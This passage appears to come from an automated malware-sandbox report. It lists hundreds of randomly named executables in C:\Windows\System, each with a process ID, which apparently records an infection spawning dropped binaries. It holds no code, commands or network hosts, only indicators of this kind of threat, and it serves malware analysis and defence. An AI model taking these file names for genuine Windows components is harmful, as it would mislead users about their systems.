  C:\Windows\System\AorWbGy.exe
  2⤵
  PID:4292
- C:\Windows\System\PTJGFOO.exe
  C:\Windows\System\PTJGFOO.exe
  2⤵
  PID:4308
- C:\Windows\System\vCfqTlw.exe
  C:\Windows\System\vCfqTlw.exe
  2⤵
  PID:4324
- C:\Windows\System\DdFRlLj.exe
  C:\Windows\System\DdFRlLj.exe
  2⤵
  PID:4340
- C:\Windows\System\CKoyVVx.exe
  C:\Windows\System\CKoyVVx.exe
  2⤵
  PID:4356
- C:\Windows\System\rBXYbKL.exe
  C:\Windows\System\rBXYbKL.exe
  2⤵
  PID:4372
- C:\Windows\System\ltAExcg.exe
  C:\Windows\System\ltAExcg.exe
  2⤵
  PID:4388
- C:\Windows\System\MRkkUiq.exe
  C:\Windows\System\MRkkUiq.exe
  2⤵
  PID:4404
- C:\Windows\System\gmPSHAc.exe
  C:\Windows\System\gmPSHAc.exe
  2⤵
  PID:4420
- C:\Windows\System\JdEkdee.exe
  C:\Windows\System\JdEkdee.exe
  2⤵
  PID:4440
- C:\Windows\System\VPFzjcZ.exe
  C:\Windows\System\VPFzjcZ.exe
  2⤵
  PID:4456
- C:\Windows\System\vhxbUKP.exe
  C:\Windows\System\vhxbUKP.exe
  2⤵
  PID:4480
- C:\Windows\System\UXSeJuZ.exe
  C:\Windows\System\UXSeJuZ.exe
  2⤵
  PID:4496
- C:\Windows\System\dpsicQg.exe
  C:\Windows\System\dpsicQg.exe
  2⤵
  PID:4560
- C:\Windows\System\tUdODlO.exe
  C:\Windows\System\tUdODlO.exe
  2⤵
  PID:4576
- C:\Windows\System\XEMtkIQ.exe
  C:\Windows\System\XEMtkIQ.exe
  2⤵
  PID:4672
- C:\Windows\System\ucwGfdS.exe
  C:\Windows\System\ucwGfdS.exe
  2⤵
  PID:4696
- C:\Windows\System\EUYngAM.exe
  C:\Windows\System\EUYngAM.exe
  2⤵
  PID:4720
- C:\Windows\System\YBjntlg.exe
  C:\Windows\System\YBjntlg.exe
  2⤵
  PID:4748
- C:\Windows\System\OWDIPpN.exe
  C:\Windows\System\OWDIPpN.exe
  2⤵
  PID:4764
- C:\Windows\System\MKOCurE.exe
  C:\Windows\System\MKOCurE.exe
  2⤵
  PID:4780
- C:\Windows\System\hobrHbs.exe
  C:\Windows\System\hobrHbs.exe
  2⤵
  PID:4796
- C:\Windows\System\iqDLPgI.exe
  C:\Windows\System\iqDLPgI.exe
  2⤵
  PID:4812
- C:\Windows\System\ntLfpXB.exe
  C:\Windows\System\ntLfpXB.exe
  2⤵
  PID:4892
- C:\Windows\System\VKnRbVk.exe
  C:\Windows\System\VKnRbVk.exe
  2⤵
  PID:4908
- C:\Windows\System\KqySVle.exe
  C:\Windows\System\KqySVle.exe
  2⤵
  PID:5000
- C:\Windows\System\VibDLVe.exe
  C:\Windows\System\VibDLVe.exe
  2⤵
  PID:5024
- C:\Windows\System\KjAHFVJ.exe
  C:\Windows\System\KjAHFVJ.exe
  2⤵
  PID:5040
- C:\Windows\System\XQWWFSx.exe
  C:\Windows\System\XQWWFSx.exe
  2⤵
  PID:5056
- C:\Windows\System\LNpyFNJ.exe
  C:\Windows\System\LNpyFNJ.exe
  2⤵
  PID:5072
- C:\Windows\System\rQlTHnZ.exe
  C:\Windows\System\rQlTHnZ.exe
  2⤵
  PID:5088
- C:\Windows\System\ATCdTts.exe
  C:\Windows\System\ATCdTts.exe
  2⤵
  PID:5104
- C:\Windows\System\AuymPPU.exe
  C:\Windows\System\AuymPPU.exe
  2⤵
  PID:3428
- C:\Windows\System\oiAYMhR.exe
  C:\Windows\System\oiAYMhR.exe
  2⤵
  PID:3160
- C:\Windows\System\xzWaobw.exe
  C:\Windows\System\xzWaobw.exe
  2⤵
  PID:1536
- C:\Windows\System\WirYtjv.exe
  C:\Windows\System\WirYtjv.exe
  2⤵
  PID:3816
- C:\Windows\System\YJvEahm.exe
  C:\Windows\System\YJvEahm.exe
  2⤵
  PID:4048
- C:\Windows\System\yJeKnTb.exe
  C:\Windows\System\yJeKnTb.exe
  2⤵
  PID:3256
- C:\Windows\System\zhrQkEl.exe
  C:\Windows\System\zhrQkEl.exe
  2⤵
  PID:676
- C:\Windows\System\PrVZggl.exe
  C:\Windows\System\PrVZggl.exe
  2⤵
  PID:4144
- C:\Windows\System\CgpDTzU.exe
  C:\Windows\System\CgpDTzU.exe
  2⤵
  PID:4316
- C:\Windows\System\keAMmrH.exe
  C:\Windows\System\keAMmrH.exe
  2⤵
  PID:4180
- C:\Windows\System\wKFNtOe.exe
  C:\Windows\System\wKFNtOe.exe
  2⤵
  PID:4488
- C:\Windows\System\gLLdVlS.exe
  C:\Windows\System\gLLdVlS.exe
  2⤵
  PID:4304
- C:\Windows\System\XQQHVXS.exe
  C:\Windows\System\XQQHVXS.exe
  2⤵
  PID:4332
- C:\Windows\System\hBWPrTB.exe
  C:\Windows\System\hBWPrTB.exe
  2⤵
  PID:4400
- C:\Windows\System\htlmQZF.exe
  C:\Windows\System\htlmQZF.exe
  2⤵
  PID:4464
- C:\Windows\System\qLHIIPG.exe
  C:\Windows\System\qLHIIPG.exe
  2⤵
  PID:4504
- C:\Windows\System\yodTrnB.exe
  C:\Windows\System\yodTrnB.exe
  2⤵
  PID:4524
- C:\Windows\System\BKulPVc.exe
  C:\Windows\System\BKulPVc.exe
  2⤵
  PID:4540
- C:\Windows\System\YtHIOIP.exe
  C:\Windows\System\YtHIOIP.exe
  2⤵
  PID:4552
- C:\Windows\System\WXsCZVm.exe
  C:\Windows\System\WXsCZVm.exe
  2⤵
  PID:4592
- C:\Windows\System\jCZiQDw.exe
  C:\Windows\System\jCZiQDw.exe
  2⤵
  PID:4616
- C:\Windows\System\esyQugq.exe
  C:\Windows\System\esyQugq.exe
  2⤵
  PID:4632
- C:\Windows\System\JHShvvI.exe
  C:\Windows\System\JHShvvI.exe
  2⤵
  PID:4692
- C:\Windows\System\eNQbmLn.exe
  C:\Windows\System\eNQbmLn.exe
  2⤵
  PID:4648
- C:\Windows\System\ROUreQO.exe
  C:\Windows\System\ROUreQO.exe
  2⤵
  PID:4728
- C:\Windows\System\WRkpdih.exe
  C:\Windows\System\WRkpdih.exe
  2⤵
  PID:4744
- C:\Windows\System\QbJxMHO.exe
  C:\Windows\System\QbJxMHO.exe
  2⤵
  PID:4772
- C:\Windows\System\MgImflV.exe
  C:\Windows\System\MgImflV.exe
  2⤵
  PID:548
- C:\Windows\System\HsAvJhB.exe
  C:\Windows\System\HsAvJhB.exe
  2⤵
  PID:4716
- C:\Windows\System\xBdmhQQ.exe
  C:\Windows\System\xBdmhQQ.exe
  2⤵
  PID:4792
- C:\Windows\System\XWIWnAN.exe
  C:\Windows\System\XWIWnAN.exe
  2⤵
  PID:4832
- C:\Windows\System\wJnzgmu.exe
  C:\Windows\System\wJnzgmu.exe
  2⤵
  PID:4848
- C:\Windows\System\nzBikhO.exe
  C:\Windows\System\nzBikhO.exe
  2⤵
  PID:4864
- C:\Windows\System\VMdDTJj.exe
  C:\Windows\System\VMdDTJj.exe
  2⤵
  PID:2996
- C:\Windows\System\CKXypGD.exe
  C:\Windows\System\CKXypGD.exe
  2⤵
  PID:4904
- C:\Windows\System\OruoUGc.exe
  C:\Windows\System\OruoUGc.exe
  2⤵
  PID:4924
- C:\Windows\System\myOhpZk.exe
  C:\Windows\System\myOhpZk.exe
  2⤵
  PID:4940
- C:\Windows\System\nKOXpsU.exe
  C:\Windows\System\nKOXpsU.exe
  2⤵
  PID:4944
- C:\Windows\System\YxUJtZp.exe
  C:\Windows\System\YxUJtZp.exe
  2⤵
  PID:4960
- C:\Windows\System\NcBwxhz.exe
  C:\Windows\System\NcBwxhz.exe
  2⤵
  PID:4976
- C:\Windows\System\TMhLTmW.exe
  C:\Windows\System\TMhLTmW.exe
  2⤵
  PID:4176
- C:\Windows\System\kjiuszH.exe
  C:\Windows\System\kjiuszH.exe
  2⤵
  PID:4216
- C:\Windows\System\gEltnlv.exe
  C:\Windows\System\gEltnlv.exe
  2⤵
  PID:4320
- C:\Windows\System\aYhMTGN.exe
  C:\Windows\System\aYhMTGN.exe
  2⤵
  PID:4384
- C:\Windows\System\zChaNTj.exe
  C:\Windows\System\zChaNTj.exe
  2⤵
  PID:4452
- C:\Windows\System\IoXkCuC.exe
  C:\Windows\System\IoXkCuC.exe
  2⤵
  PID:4432
- C:\Windows\System\hWgsNXs.exe
  C:\Windows\System\hWgsNXs.exe
  2⤵
  PID:4548
- C:\Windows\System\LSZMjNf.exe
  C:\Windows\System\LSZMjNf.exe
  2⤵
  PID:4656
- C:\Windows\System\AkhijtN.exe
  C:\Windows\System\AkhijtN.exe
  2⤵
  PID:4708
- C:\Windows\System\HBHbbCZ.exe
  C:\Windows\System\HBHbbCZ.exe
  2⤵
  PID:4860
- C:\Windows\System\msvUNjD.exe
  C:\Windows\System\msvUNjD.exe
  2⤵
  PID:4396
- C:\Windows\System\SCLIDKu.exe
  C:\Windows\System\SCLIDKu.exe
  2⤵
  PID:4788
- C:\Windows\System\cafguFr.exe
  C:\Windows\System\cafguFr.exe
  2⤵
  PID:4740
- C:\Windows\System\svEyNxo.exe
  C:\Windows\System\svEyNxo.exe
  2⤵
  PID:4584
- C:\Windows\System\BBWKkqY.exe
  C:\Windows\System\BBWKkqY.exe
  2⤵
  PID:4624
- C:\Windows\System\wTaxJra.exe
  C:\Windows\System\wTaxJra.exe
  2⤵
  PID:4936
- C:\Windows\System\zZiOuKo.exe
  C:\Windows\System\zZiOuKo.exe
  2⤵
  PID:5012
- C:\Windows\System\LCUcVdJ.exe
  C:\Windows\System\LCUcVdJ.exe
  2⤵
  PID:4992
- C:\Windows\System\CwNjwwF.exe
  C:\Windows\System\CwNjwwF.exe
  2⤵
  PID:5020
- C:\Windows\System\sVGcclr.exe
  C:\Windows\System\sVGcclr.exe
  2⤵
  PID:5116
- C:\Windows\System\BaHgotm.exe
  C:\Windows\System\BaHgotm.exe
  2⤵
  PID:4100
- C:\Windows\System\jubtbhU.exe
  C:\Windows\System\jubtbhU.exe
  2⤵
  PID:1012
- C:\Windows\System\hnQZKlk.exe
  C:\Windows\System\hnQZKlk.exe
  2⤵
  PID:5100
- C:\Windows\System\lLMIjbN.exe
  C:\Windows\System\lLMIjbN.exe
  2⤵
  PID:3964
- C:\Windows\System\sigABUF.exe
  C:\Windows\System\sigABUF.exe
  2⤵
  PID:3460
- C:\Windows\System\RJEgZvn.exe
  C:\Windows\System\RJEgZvn.exe
  2⤵
  PID:4232
- C:\Windows\System\Wzbyicp.exe
  C:\Windows\System\Wzbyicp.exe
  2⤵
  PID:4112
- C:\Windows\System\wQRGQXS.exe
  C:\Windows\System\wQRGQXS.exe
  2⤵
  PID:4200
- C:\Windows\System\hItyNAv.exe
  C:\Windows\System\hItyNAv.exe
  2⤵
  PID:4168
- C:\Windows\System\CsYrrDg.exe
  C:\Windows\System\CsYrrDg.exe
  2⤵
  PID:5016
- C:\Windows\System\ILffGXD.exe
  C:\Windows\System\ILffGXD.exe
  2⤵
  PID:4252
- C:\Windows\System\wqFGaEC.exe
  C:\Windows\System\wqFGaEC.exe
  2⤵
  PID:1296
- C:\Windows\System\sewozqY.exe
  C:\Windows\System\sewozqY.exe
  2⤵
  PID:4544
- C:\Windows\System\YlAjKNA.exe
  C:\Windows\System\YlAjKNA.exe
  2⤵
  PID:4364
- C:\Windows\System\UJlVadY.exe
  C:\Windows\System\UJlVadY.exe
  2⤵
  PID:4668
- C:\Windows\System\EwewOYk.exe
  C:\Windows\System\EwewOYk.exe
  2⤵
  PID:4840
- C:\Windows\System\WbMMpGs.exe
  C:\Windows\System\WbMMpGs.exe
  2⤵
  PID:4804
- C:\Windows\System\HgSUVKG.exe
  C:\Windows\System\HgSUVKG.exe
  2⤵
  PID:4828
- C:\Windows\System\mIWpOJz.exe
  C:\Windows\System\mIWpOJz.exe
  2⤵
  PID:4916
- C:\Windows\System\DXcWRcH.exe
  C:\Windows\System\DXcWRcH.exe
  2⤵
  PID:4644
- C:\Windows\System\lZWxZVc.exe
  C:\Windows\System\lZWxZVc.exe
  2⤵
  PID:4996
- C:\Windows\System\xeNIYKu.exe
  C:\Windows\System\xeNIYKu.exe
  2⤵
  PID:2044
- C:\Windows\System\yIzFlPg.exe
  C:\Windows\System\yIzFlPg.exe
  2⤵
  PID:3976
- C:\Windows\System\lXFGluR.exe
  C:\Windows\System\lXFGluR.exe
  2⤵
  PID:3148
- C:\Windows\System\MVyrwFp.exe
  C:\Windows\System\MVyrwFp.exe
  2⤵
  PID:3520
- C:\Windows\System\aYrdOYz.exe
  C:\Windows\System\aYrdOYz.exe
  2⤵
  PID:4880
- C:\Windows\System\VxVrSmi.exe
  C:\Windows\System\VxVrSmi.exe
  2⤵
  PID:3800
- C:\Windows\System\TExXnVX.exe
  C:\Windows\System\TExXnVX.exe
  2⤵
  PID:2928
- C:\Windows\System\iBVINbQ.exe
  C:\Windows\System\iBVINbQ.exe
  2⤵
  PID:4132
- C:\Windows\System\NmRomcn.exe
  C:\Windows\System\NmRomcn.exe
  2⤵
  PID:1852
- C:\Windows\System\aCWQfFJ.exe
  C:\Windows\System\aCWQfFJ.exe
  2⤵
  PID:4212
- C:\Windows\System\vXqdbYX.exe
  C:\Windows\System\vXqdbYX.exe
  2⤵
  PID:4236
- C:\Windows\System\JqTmtth.exe
  C:\Windows\System\JqTmtth.exe
  2⤵
  PID:5136
- C:\Windows\System\PDlhUIJ.exe
  C:\Windows\System\PDlhUIJ.exe
  2⤵
  PID:5152
- C:\Windows\System\EOZpHYk.exe
  C:\Windows\System\EOZpHYk.exe
  2⤵
  PID:5232
- C:\Windows\System\DDhBMDd.exe
  C:\Windows\System\DDhBMDd.exe
  2⤵
  PID:5252
- C:\Windows\System\EACfXlL.exe
  C:\Windows\System\EACfXlL.exe
  2⤵
  PID:5268
- C:\Windows\System\HypHivD.exe
  C:\Windows\System\HypHivD.exe
  2⤵
  PID:5284
- C:\Windows\System\pGGOvjD.exe
  C:\Windows\System\pGGOvjD.exe
  2⤵
  PID:5300
- C:\Windows\System\bwJKDya.exe
  C:\Windows\System\bwJKDya.exe
  2⤵
  PID:5316
- C:\Windows\System\STQaTLK.exe
  C:\Windows\System\STQaTLK.exe
  2⤵
  PID:5332
- C:\Windows\System\sKcKbvq.exe
  C:\Windows\System\sKcKbvq.exe
  2⤵
  PID:5348
- C:\Windows\System\mtUsXkA.exe
  C:\Windows\System\mtUsXkA.exe
  2⤵
  PID:5368
- C:\Windows\System\LkTbHfw.exe
  C:\Windows\System\LkTbHfw.exe
  2⤵
  PID:5392
- C:\Windows\System\AqtRTyp.exe
  C:\Windows\System\AqtRTyp.exe
  2⤵
  PID:5408
- C:\Windows\System\vrFfsqA.exe
  C:\Windows\System\vrFfsqA.exe
  2⤵
  PID:5424
- C:\Windows\System\tpFfOLm.exe
  C:\Windows\System\tpFfOLm.exe
  2⤵
  PID:5440
- C:\Windows\System\iTDyqDo.exe
  C:\Windows\System\iTDyqDo.exe
  2⤵
  PID:5456
- C:\Windows\System\KBDBGno.exe
  C:\Windows\System\KBDBGno.exe
  2⤵
  PID:5472
- C:\Windows\System\FNstoex.exe
  C:\Windows\System\FNstoex.exe
  2⤵
  PID:5488
- C:\Windows\System\aGvtQNW.exe
  C:\Windows\System\aGvtQNW.exe
  2⤵
  PID:5504
- C:\Windows\System\ulaNTtN.exe
  C:\Windows\System\ulaNTtN.exe
  2⤵
  PID:5528
- C:\Windows\System\cPgnzBF.exe
  C:\Windows\System\cPgnzBF.exe
  2⤵
  PID:5552
- C:\Windows\System\lbWdifg.exe
  C:\Windows\System\lbWdifg.exe
  2⤵
  PID:5572
- C:\Windows\System\nfZprmz.exe
  C:\Windows\System\nfZprmz.exe
  2⤵
  PID:5636
- C:\Windows\System\oaGUzfE.exe
  C:\Windows\System\oaGUzfE.exe
  2⤵
  PID:5652
- C:\Windows\System\TwUncPV.exe
  C:\Windows\System\TwUncPV.exe
  2⤵
  PID:5668
- C:\Windows\System\BNVtPFt.exe
  C:\Windows\System\BNVtPFt.exe
  2⤵
  PID:5688
- C:\Windows\System\nGhnFBw.exe
  C:\Windows\System\nGhnFBw.exe
  2⤵
  PID:5704
- C:\Windows\System\guKByrl.exe
  C:\Windows\System\guKByrl.exe
  2⤵
  PID:5732
- C:\Windows\System\WsMPRlZ.exe
  C:\Windows\System\WsMPRlZ.exe
  2⤵
  PID:5748
- C:\Windows\System\GXfduwK.exe
  C:\Windows\System\GXfduwK.exe
  2⤵
  PID:5768
- C:\Windows\System\EoYbRBg.exe
  C:\Windows\System\EoYbRBg.exe
  2⤵
  PID:5784
- C:\Windows\System\MtjhqPN.exe
  C:\Windows\System\MtjhqPN.exe
  2⤵
  PID:5804
- C:\Windows\System\uIolhnW.exe
  C:\Windows\System\uIolhnW.exe
  2⤵
  PID:5820
- C:\Windows\System\AXHDumf.exe
  C:\Windows\System\AXHDumf.exe
  2⤵
  PID:5836
- C:\Windows\System\WYUxezF.exe
  C:\Windows\System\WYUxezF.exe
  2⤵
  PID:5852
- C:\Windows\System\WtLayPp.exe
  C:\Windows\System\WtLayPp.exe
  2⤵
  PID:5868
- C:\Windows\System\dhEPDfy.exe
  C:\Windows\System\dhEPDfy.exe
  2⤵
  PID:5888
- C:\Windows\System\lGgHXxd.exe
  C:\Windows\System\lGgHXxd.exe
  2⤵
  PID:5912
- C:\Windows\System\pPDOMLb.exe
  C:\Windows\System\pPDOMLb.exe
  2⤵
  PID:5952
- C:\Windows\System\YsilTwS.exe
  C:\Windows\System\YsilTwS.exe
  2⤵
  PID:5968
- C:\Windows\System\TPPKOuC.exe
  C:\Windows\System\TPPKOuC.exe
  2⤵
  PID:5992
- C:\Windows\System\FOSwixS.exe
  C:\Windows\System\FOSwixS.exe
  2⤵
  PID:6008
- C:\Windows\System\EOwJKaA.exe
  C:\Windows\System\EOwJKaA.exe
  2⤵
  PID:6024
- C:\Windows\System\xfZeJgW.exe
  C:\Windows\System\xfZeJgW.exe
  2⤵
  PID:6040
- C:\Windows\System\fHOynCt.exe
  C:\Windows\System\fHOynCt.exe
  2⤵
  PID:6060
- C:\Windows\System\uqZlbWY.exe
  C:\Windows\System\uqZlbWY.exe
  2⤵
  PID:6080
- C:\Windows\System\igsBjKL.exe
  C:\Windows\System\igsBjKL.exe
  2⤵
  PID:6096
- C:\Windows\System\tdgAiDY.exe
  C:\Windows\System\tdgAiDY.exe
  2⤵
  PID:6112
- C:\Windows\System\hXuMDTc.exe
  C:\Windows\System\hXuMDTc.exe
  2⤵
  PID:6128
- C:\Windows\System\yhgSaOv.exe
  C:\Windows\System\yhgSaOv.exe
  2⤵
  PID:4520
- C:\Windows\System\pUEbigM.exe
  C:\Windows\System\pUEbigM.exe
  2⤵
  PID:1468
- C:\Windows\System\kxySUQm.exe
  C:\Windows\System\kxySUQm.exe
  2⤵
  PID:5128
- C:\Windows\System\CmVkXwU.exe
  C:\Windows\System\CmVkXwU.exe
  2⤵
  PID:4116
- C:\Windows\System\BHgdyzX.exe
  C:\Windows\System\BHgdyzX.exe
  2⤵
  PID:5168
- C:\Windows\System\FKXSHHi.exe
  C:\Windows\System\FKXSHHi.exe
  2⤵
  PID:5184
- C:\Windows\System\yfGFUUW.exe
  C:\Windows\System\yfGFUUW.exe
  2⤵
  PID:4472
- C:\Windows\System\dNsWcac.exe
  C:\Windows\System\dNsWcac.exe
  2⤵
  PID:5112
- C:\Windows\System\gALSJeA.exe
  C:\Windows\System\gALSJeA.exe
  2⤵
  PID:4128
- C:\Windows\System\VUFvePe.exe
  C:\Windows\System\VUFvePe.exe
  2⤵
  PID:5220
- C:\Windows\System\nYscdql.exe
  C:\Windows\System\nYscdql.exe
  2⤵
  PID:5048
- C:\Windows\System\nrBgvCj.exe
  C:\Windows\System\nrBgvCj.exe
  2⤵
  PID:1548
- C:\Windows\System\dnOJhlD.exe
  C:\Windows\System\dnOJhlD.exe
  2⤵
  PID:4608
- C:\Windows\System\tMBmiYd.exe
  C:\Windows\System\tMBmiYd.exe
  2⤵
  PID:5400
- C:\Windows\System\ABKhoAN.exe
  C:\Windows\System\ABKhoAN.exe
  2⤵
  PID:5296
- C:\Windows\System\KNKIXdw.exe
  C:\Windows\System\KNKIXdw.exe
  2⤵
  PID:5404
- C:\Windows\System\jHLMSme.exe
  C:\Windows\System\jHLMSme.exe
  2⤵
  PID:5496
- C:\Windows\System\pwnOgOh.exe
  C:\Windows\System\pwnOgOh.exe
  2⤵
  PID:5580
- C:\Windows\System\qTUCRsa.exe
  C:\Windows\System\qTUCRsa.exe
  2⤵
  PID:5452
- C:\Windows\System\eBqwHSt.exe
  C:\Windows\System\eBqwHSt.exe
  2⤵
  PID:5596
- C:\Windows\System\lRytbpV.exe
  C:\Windows\System\lRytbpV.exe
  2⤵
  PID:5608
- C:\Windows\System\jNTGtrH.exe
  C:\Windows\System\jNTGtrH.exe
  2⤵
  PID:5516
- C:\Windows\System\CYTFdIo.exe
  C:\Windows\System\CYTFdIo.exe
  2⤵
  PID:5416
- C:\Windows\System\xxTuSRn.exe
  C:\Windows\System\xxTuSRn.exe
  2⤵
  PID:5448
- C:\Windows\System\PKtVQPc.exe
  C:\Windows\System\PKtVQPc.exe
  2⤵
  PID:5628
- C:\Windows\System\ojJsiim.exe
  C:\Windows\System\ojJsiim.exe
  2⤵
  PID:5680
- C:\Windows\System\weuEnIT.exe
  C:\Windows\System\weuEnIT.exe
  2⤵
  PID:5712
- C:\Windows\System\qLtbXvo.exe
  C:\Windows\System\qLtbXvo.exe
  2⤵
  PID:5740
- C:\Windows\System\FgkWmAb.exe
  C:\Windows\System\FgkWmAb.exe
  2⤵
  PID:5720
- C:\Windows\System\HJSBVPl.exe
  C:\Windows\System\HJSBVPl.exe
  2⤵
  PID:5760
- C:\Windows\System\tJsrIpU.exe
  C:\Windows\System\tJsrIpU.exe
  2⤵
  PID:5880
- C:\Windows\System\AOjqxmA.exe
  C:\Windows\System\AOjqxmA.exe
  2⤵
  PID:5896
- C:\Windows\System\bybHJfE.exe
  C:\Windows\System\bybHJfE.exe
  2⤵
  PID:1840
- C:\Windows\System\JGvQFFR.exe
  C:\Windows\System\JGvQFFR.exe
  2⤵
  PID:5792
- C:\Windows\System\txYgNIO.exe
  C:\Windows\System\txYgNIO.exe
  2⤵
  PID:5928
- C:\Windows\System\OaHoSve.exe
  C:\Windows\System\OaHoSve.exe
  2⤵
  PID:5944
- C:\Windows\System\vzLBgPO.exe
  C:\Windows\System\vzLBgPO.exe
  2⤵
  PID:5984
- C:\Windows\System\tMyGyif.exe
  C:\Windows\System\tMyGyif.exe
  2⤵
  PID:6120
- C:\Windows\System\TxQLiOu.exe
  C:\Windows\System\TxQLiOu.exe
  2⤵
  PID:4984
- C:\Windows\System\OuSVwbl.exe
  C:\Windows\System\OuSVwbl.exe
  2⤵
  PID:304
- C:\Windows\System\HGYAMxb.exe
  C:\Windows\System\HGYAMxb.exe
  2⤵
  PID:4956
- C:\Windows\System\BIZjtGV.exe
  C:\Windows\System\BIZjtGV.exe
  2⤵
  PID:6068
- C:\Windows\System\ArzraSf.exe
  C:\Windows\System\ArzraSf.exe
  2⤵
  PID:6004
- C:\Windows\System\yBlUYZe.exe
  C:\Windows\System\yBlUYZe.exe
  2⤵
  PID:5200
- C:\Windows\System\GGqzWKe.exe
  C:\Windows\System\GGqzWKe.exe
  2⤵
  PID:5208
- C:\Windows\System\YQHjaTs.exe
  C:\Windows\System\YQHjaTs.exe
  2⤵
  PID:4416
- C:\Windows\System\OJHvohU.exe
  C:\Windows\System\OJHvohU.exe
  2⤵
  PID:5212
- C:\Windows\System\ssmnPIo.exe
  C:\Windows\System\ssmnPIo.exe
  2⤵
  PID:5260
- C:\Windows\System\fyeGUcO.exe
  C:\Windows\System\fyeGUcO.exe
  2⤵
  PID:5360
- C:\Windows\System\ayMLVDm.exe
  C:\Windows\System\ayMLVDm.exe
  2⤵
  PID:5292
- C:\Windows\System\LviJKob.exe
  C:\Windows\System\LviJKob.exe
  2⤵
  PID:3132
- C:\Windows\System\InLOAnn.exe
  C:\Windows\System\InLOAnn.exe
  2⤵
  PID:5588
- C:\Windows\System\AAxsHWc.exe
  C:\Windows\System\AAxsHWc.exe
  2⤵
  PID:5564
- C:\Windows\System\xxiyRXy.exe
  C:\Windows\System\xxiyRXy.exe
  2⤵
  PID:5524
- C:\Windows\System\lUljdSv.exe
  C:\Windows\System\lUljdSv.exe
  2⤵
  PID:5340
- C:\Windows\System\MguNUHY.exe
  C:\Windows\System\MguNUHY.exe
  2⤵
  PID:5384
- C:\Windows\System\QSttuAA.exe
  C:\Windows\System\QSttuAA.exe
  2⤵
  PID:5676
- C:\Windows\System\MCtVokT.exe
  C:\Windows\System\MCtVokT.exe
  2⤵
  PID:5816
- C:\Windows\System\CFqIBfE.exe
  C:\Windows\System\CFqIBfE.exe
  2⤵
  PID:5900
- C:\Windows\System\wQyUCci.exe
  C:\Windows\System\wQyUCci.exe
  2⤵
  PID:5940
- C:\Windows\System\MHLBmKy.exe
  C:\Windows\System\MHLBmKy.exe
  2⤵
  PID:6052
- C:\Windows\System\hpVKrYf.exe
  C:\Windows\System\hpVKrYf.exe
  2⤵
  PID:5780
- C:\Windows\System\IwAniwI.exe
  C:\Windows\System\IwAniwI.exe
  2⤵
  PID:6032
- C:\Windows\System\zEUqDkD.exe
  C:\Windows\System\zEUqDkD.exe
  2⤵
  PID:5084
- C:\Windows\System\QilkrAh.exe
  C:\Windows\System\QilkrAh.exe
  2⤵
  PID:5924
- C:\Windows\System\ZdyXcSH.exe
  C:\Windows\System\ZdyXcSH.exe
  2⤵
  PID:6124
- C:\Windows\System\sUckFDA.exe
  C:\Windows\System\sUckFDA.exe
  2⤵
  PID:6136
- C:\Windows\System\gqyrkdp.exe
  C:\Windows\System\gqyrkdp.exe
  2⤵
  PID:6104
- C:\Windows\System\hJVBjva.exe
  C:\Windows\System\hJVBjva.exe
  2⤵
  PID:3572
- C:\Windows\System\uftDWAl.exe
  C:\Windows\System\uftDWAl.exe
  2⤵
  PID:5148
- C:\Windows\System\npNVbsG.exe
  C:\Windows\System\npNVbsG.exe
  2⤵
  PID:1892
- C:\Windows\System\uqKrLux.exe
  C:\Windows\System\uqKrLux.exe
  2⤵
  PID:5228
- C:\Windows\System\HmtPghF.exe
  C:\Windows\System\HmtPghF.exe
  2⤵
  PID:5244
- C:\Windows\System\Nhxqxsx.exe
  C:\Windows\System\Nhxqxsx.exe
  2⤵
  PID:5520
- C:\Windows\System\vFjTlPi.exe
  C:\Windows\System\vFjTlPi.exe
  2⤵
  PID:5276
- C:\Windows\System\TIzmOfv.exe
  C:\Windows\System\TIzmOfv.exe
  2⤵
  PID:5936
- C:\Windows\System\waoBpIu.exe
  C:\Windows\System\waoBpIu.exe
  2⤵
  PID:4856
- C:\Windows\System\etqUgNq.exe
  C:\Windows\System\etqUgNq.exe
  2⤵
  PID:5192
- C:\Windows\System\iWtoXhx.exe
  C:\Windows\System\iWtoXhx.exe
  2⤵
  PID:5664
- C:\Windows\System\vOifRbO.exe
  C:\Windows\System\vOifRbO.exe
  2⤵
  PID:6148
- C:\Windows\System\pujPIRY.exe
  C:\Windows\System\pujPIRY.exe
  2⤵
  PID:6168
- C:\Windows\System\CKuBMgA.exe
  C:\Windows\System\CKuBMgA.exe
  2⤵
  PID:6184
- C:\Windows\System\hoPEMvR.exe
  C:\Windows\System\hoPEMvR.exe
  2⤵
  PID:6212
- C:\Windows\System\uUQIqxj.exe
  C:\Windows\System\uUQIqxj.exe
  2⤵
  PID:6228
- C:\Windows\System\uSHdehe.exe
  C:\Windows\System\uSHdehe.exe
  2⤵
  PID:6244
- C:\Windows\System\KPHCWfU.exe
  C:\Windows\System\KPHCWfU.exe
  2⤵
  PID:6268
- C:\Windows\System\ysUkPmX.exe
  C:\Windows\System\ysUkPmX.exe
  2⤵
  PID:6292
- C:\Windows\System\rISrjyq.exe
  C:\Windows\System\rISrjyq.exe
  2⤵
  PID:6308
- C:\Windows\System\McckqkD.exe
  C:\Windows\System\McckqkD.exe
  2⤵
  PID:6328
- C:\Windows\System\qZPLKYr.exe
  C:\Windows\System\qZPLKYr.exe
  2⤵
  PID:6384
- C:\Windows\System\FMBfEoB.exe
  C:\Windows\System\FMBfEoB.exe
  2⤵
  PID:6400
- C:\Windows\System\mryhKtw.exe
  C:\Windows\System\mryhKtw.exe
  2⤵
  PID:6420
- C:\Windows\System\XLUnSix.exe
  C:\Windows\System\XLUnSix.exe
  2⤵
  PID:6440
- C:\Windows\System\oUTnLXF.exe
  C:\Windows\System\oUTnLXF.exe
  2⤵
  PID:6456
- C:\Windows\System\xyQFpoY.exe
  C:\Windows\System\xyQFpoY.exe
  2⤵
  PID:6472
- C:\Windows\System\qfnxNlK.exe
  C:\Windows\System\qfnxNlK.exe
  2⤵
  PID:6496
- C:\Windows\System\vqJpexJ.exe
  C:\Windows\System\vqJpexJ.exe
  2⤵
  PID:6516
- C:\Windows\System\RoItYhM.exe
  C:\Windows\System\RoItYhM.exe
  2⤵
  PID:6532
- C:\Windows\System\vyOdEfN.exe
  C:\Windows\System\vyOdEfN.exe
  2⤵
  PID:6548
- C:\Windows\System\xLTZVqH.exe
  C:\Windows\System\xLTZVqH.exe
  2⤵
  PID:6564
- C:\Windows\System\EwXArev.exe
  C:\Windows\System\EwXArev.exe
  2⤵
  PID:6588
- C:\Windows\System\MZVTkoA.exe
  C:\Windows\System\MZVTkoA.exe
  2⤵
  PID:6604
- C:\Windows\System\wnQLJKe.exe
  C:\Windows\System\wnQLJKe.exe
  2⤵
  PID:6624
- C:\Windows\System\tGgVpHA.exe
  C:\Windows\System\tGgVpHA.exe
  2⤵
  PID:6640
